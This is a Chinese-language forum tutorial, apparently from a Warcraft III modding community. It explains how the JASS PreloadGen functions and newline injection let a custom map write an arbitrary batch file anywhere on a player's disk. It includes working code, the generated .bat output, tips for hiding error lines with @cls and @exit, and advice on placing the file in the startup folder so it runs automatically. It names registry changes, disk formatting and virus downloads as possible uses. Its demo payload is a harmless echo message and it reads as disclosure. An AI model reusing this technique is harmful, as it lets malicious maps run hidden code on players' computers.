|
月前,war3地图又出现漏洞了。既然那个jass虚拟机漏洞是我命名的,那么我也把这个新漏洞命名为Jass预读文件漏洞好了。
该漏洞见此贴:
http://bbs.islga.org/read-htm-tid-48381-page-e.html
简单而言,此漏洞允许你用地图来生成bat文件,并存放于你指定的硬盘位置。比如可以放到启动项目中,就可以在启动时改人注册表或者格硬盘了。
多亏飞雪大人帮忙,第一时间分析出了原理。
简单地来说,这个漏洞的原理很简单。而且这个漏洞其实一直存在着,只是没有人注意到和利用它而已。所以其实说是“新”漏洞,其实并不“新”。该漏洞适用于魔兽争霸III1.00以来的任何版本。
因为war3地图本来就能自己来生成文件————虽然这一点鲜有人知。
主要就是以下三个函数
[jass]
native PreloadGenClear takes nothing returns nothing
native PreloadGenStart takes nothing returns nothing
native PreloadGenEnd takes string filename returns nothing
[/jass]
首先大家知道什么是地图的Preload吧?也就是说预先读取由Preload函数或者pld文件所指定的贴图、模型、甚至函数。以减少地图lag的行为。
但是通常我们用不到上面这三个函数,而是用PreloadStart和PreloadEnd的,那么上面这三个函数有什么用呢?其作用是,记录下PreloadGenStart()和PreloadGenEnd()之间执行的所有Preload语句,并将它们写入到PreloadGenEnd()函数指定的pld文件里去。
而PreloadGenClear()用于清空当前已记录的内容,免得把上一次的Preload内容也一块写入到目标文件里。
由于文件名是随便指定的,所以实际上你可以不以pld为扩展名,可以输出为exe,bat,txt等等任何的扩展名。
但是一般情况下你是无法通过输出为bat来执行语句的,更别说是修改注册表或者下载病毒的。
以下要说的就是漏洞部分了。
在正常情况下,PreloadGen系列函数的用法如下。
[jass]
function WritePld takes nothing returns nothing
call PreloadGenClear()
call PreloadGenStart()
call Preload( "ReplaceableTextures \\CameraMasks\\White_mask.blp" )
call Preload( "Sound \\Ambient\\BlackCitadel\\BlackCitadel.dls" )
call Preload( "Sound \\Ambient\\BlackCitadel\\BlackCitadel_OutlandDay.mid" )
call Preload( "UI \\TipStrings.txt" )
call Preload( "UI \\Widgets\\EscMenu\\Human\\human-options-button-border-up.blp" )
call Preload( "UI \\Widgets\\EscMenu\\Human\\human-options-button-border-down.blp" )
call Preload( "UI \\Widgets\\EscMenu\\Human\\human-options-button-background-disabled.blp" )
call Preload( "UI \\Widgets\\EscMenu\\Human\\editbox-background.blp" )
call Preload( "UI \\Widgets\\EscMenu\\Human\\editbox-border.blp" )
call Preload( "UI \\Widgets\\EscMenu\\Human\\slider-background.blp" )
call Preload( "UI \\Widgets\\EscMenu\\Human\\slider-border.blp" )
call Preload( "UI \\Widgets\\EscMenu\\Human\\slider-knob.blp" )
call Preload( "UI \\HelpStrings.txt" )
call PreloadGenEnd("D:\\XX\\test.pld")
endfunction
[/jass]
执行以上函数WritePld()后,就会在你的D盘XX目录下新建一个pld文件:test.pld。
该文件将包含如下内容:
[jass]
function PreloadFiles takes nothing returns nothing
call Preload( "ReplaceableTextures \\CameraMasks\\White_mask.blp" )
call Preload( "Sound \\Ambient\\BlackCitadel\\BlackCitadel.dls" )
call Preload( "Sound \\Ambient\\BlackCitadel\\BlackCitadel_OutlandDay.mid" )
call Preload( "UI \\TipStrings.txt" )
call Preload( "UI \\Widgets\\EscMenu\\Human\\human-options-button-border-up.blp" )
call Preload( "UI \\Widgets\\EscMenu\\Human\\human-options-button-border-down.blp" )
call Preload( "UI \\Widgets\\EscMenu\\Human\\human-options-button-background-disabled.blp" )
call Preload( "UI \\Widgets\\EscMenu\\Human\\editbox-background.blp" )
call Preload( "UI \\Widgets\\EscMenu\\Human\\editbox-border.blp" )
call Preload( "UI \\Widgets\\EscMenu\\Human\\slider-background.blp" )
call Preload( "UI \\Widgets\\EscMenu\\Human\\slider-border.blp" )
call Preload( "UI \\Widgets\\EscMenu\\Human\\slider-knob.blp" )
call Preload( "UI \\HelpStrings.txt" )
call PreloadEnd( 0.1 )
endfunction
[/jass]
大家会发现,这个pld文件除了函数头和函数尾以外,每一行开头都是call Preload。所以就算你把这个文件存成bat,执行出来的也都是call Preload开头的非法操作,不管你的括号里写的是什么。
所以就算存为一个bat,也无法造成任何危害,除了会给你刷一堆错误信息以外。
那么这里就存在一个编译器的漏洞,使得你可以写出非call Preload的语句来。
老外的那个例子里有很多多余的内容和会导致混淆的符号,我这里作了最大限度的简化:
同学们如果学过一点计算机基础,或者有一点jass基础的话,都会知道,在字符串里\n是换行符号\r是回车符。\n\r就是回车换行。比如"开始\n位置"这个字符串在输出时就会变成
开始
位置
这里同理。
其实老外的例子里很多转意用的\号很多余。
其实最简单的利用漏洞方法是这样
[jass]
function Test takes nothing returns nothing
call PreloadGenClear()
call PreloadGenStart()
call Preload("\n@echo Hello World\n")
call PreloadGenEnd("D:\\XX\\test.bat")
endfunction
[/jass]
这样,地图文件输出的pld文件中,本该出现call Preload("\n@echo Hello World\n")的这一句,就会因为换行符号的存在而输出为
call Preload("
@echo Hello World
")
call Preload("这句和")这句不是bat语句,无法执行,所以会输出错误信息,但是@echo Hello World这行可是一句经典的dos命令,它的作用就是在dos窗口中显示
Hello World。
整个输出后的bat文件会变成:
[codes=bat]
function PreloadFiles takes nothing returns nothing
call Preload( "
@echo Hello World
" )
call PreloadEnd( 0.0 )
endfunction
[/codes]
于是,知道了这个方法,只要你有bat文件的编写基础,就可以用这个漏洞让war3地图输出各种各样的bat文件了,修改注册表啊,播放音乐吓人啊。调用系统函数啦。下载病毒啦。当然杀毒软件可能会把你这个bat干掉就是了。但是这个漏洞可是比jass虚拟机漏洞方便多了,至少不需要你输机器码,bat语句的学习难度和机器码相比就是0了。
进一步的优化
大家可以看到,虽然我们做出了一个bat文件,但还是有相当多行的错误代码,function PreloadFiles takes nothing returns nothing,call Preload( ",call PreloadEnd( 0.0 ),endfunction这四行都不是合法的bat语句,如果我们不希望让它们显示出来,只显示Hello World怎么办呢?
另外,显然一个bat一般不会只有一条语句,那么我没执行一条是不是就会多出一个call preload("和一个")了?这样错误信息简直是刷屏了。
因此大概如果希望做能显示的比较像样的bat的话,不要学老外那个例子一样每一句语句来一个preload。最好的法子莫过于继续利用\n换行符。
call Preload("\n@echo Hello World\n@echo This is a sample of WC3 map generated BAT file.\n")
这样实际输出为bat文件时会被存成
[codes=bat]
function PreloadFiles takes nothing returns nothing
call Preload( "
@echo Hello World
@echo This is a sample of WC3 map generated BAT file.
" )
call PreloadEnd( 0.0 )
endfunction
[/codes]
而不至于每一句话都带个call Preload( "和"). 另外,由于bat文件直接执行的话,命令行窗口会一闪而过,执行完后自动关闭了,如果要仔细观察输出情况的话,大家可以在最后加上一句@pause,这样就会在执行完后要求你按任意键才关闭窗口。更多bat命令大家可以查书和谷歌。
那么中间的多余代码去掉了,后面的call PreloadEnd( 0.0 )和endfunction这两句咋让它不显示在命令行中呢?我们可以在call PreloadEnd( 0.0 )之前加一行@exit,这样执行到exit时,这个bat就退出了,后面两行根本不会去执行,所以也就不会出现错误信息了(这是飞雪大人的贡献)。
那么中间的多余代码去掉了,后面的多余代码去掉了,前面那2句function PreloadFiles takes nothing returns nothing和call Preload( "总没法去掉了吧?
这确实没办法呢。
不过我们可以想办法清掉这两行错误信息,只要在call Preload( "之后跟一条清屏命令@cls即可。这样,命令行窗口会清空所有之前的信息。那两条顽固的错误信息便也一并消失了。
当然,在实际应用时其实不需要你一定要输出文字来让用户看到,比如病毒之类的东西,多半是希望用户越不注意到越好。所以这里的有关清屏和跳过错误信息的方法基本上是用于需要输出文字的批处理场合。
好了,说了那么多,下面给个演示地图。
进入地图后按ESC键,你的D盘D:\XX文件夹下就会多出一个叫test.bat的文件,你可以修改地图代码让它生成在启动项里或者作为autoexec.bat存在,总之让它能自动执行的法子有很多。如果你想打什么歪主意的话……
执行test.bat就会显示一段绿色的文字:
Hello World
This is a sample of WC3 map generated BAT file.
Welcome to http://bbs.islga.org. Let's go 2012 with GA!
请按任意键继续. . .
安任意键后,窗口会关闭。当然这里只是一段话而已,头目不会真的做个演示把你的电脑给炸掉啦。大家也不要拿它来做坏事哦。
至于这段话为什么是英文的啊?因为bat文件用的是ansi码,而jass脚本用的是utf-8码,所以要做出能显示中文的bat会稍微有点麻烦,你需要直接修改war3map.j来写进ansi码的中文信息。可以是可以的,有兴趣的同学可以自己试试。
地图见附件 |
|